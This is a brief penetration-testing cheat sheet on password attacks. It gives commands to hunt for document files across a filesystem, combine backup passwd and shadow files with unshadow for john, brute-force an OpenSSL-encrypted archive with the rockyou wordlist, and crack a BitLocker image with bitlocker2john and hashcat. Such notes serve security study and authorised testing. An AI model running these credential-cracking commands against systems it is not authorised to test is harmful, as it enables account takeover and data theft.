# Password Attacks

## File Hunting

```bash
for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
```

***

## Hash Cracking

### Unshadow

* <mark style="color:green;">`.bak`</mark> file is a backup file

```bash
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
```

You could use <mark style="color:yellow;">**john --format=crypt**</mark> for cracking unshadowed hashes.

## Archive Cracking

### OpenSSL Encrypted

```bash
for i in $(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in amogus.gzip -k $i 2>/dev/null| tar xz;done
```

### BitLocker Encrypted

```bash
bitlocker2john -i backup.vhd > backup.hashes #changing file to crackable type
grep "bitlocker\$0" backup.hashes > backup.hash #Filtering
hashcat -m 22100 backup.hash /opt/useful/seclists/rockyou.txt -o backup.crack #hashcat cracking
```
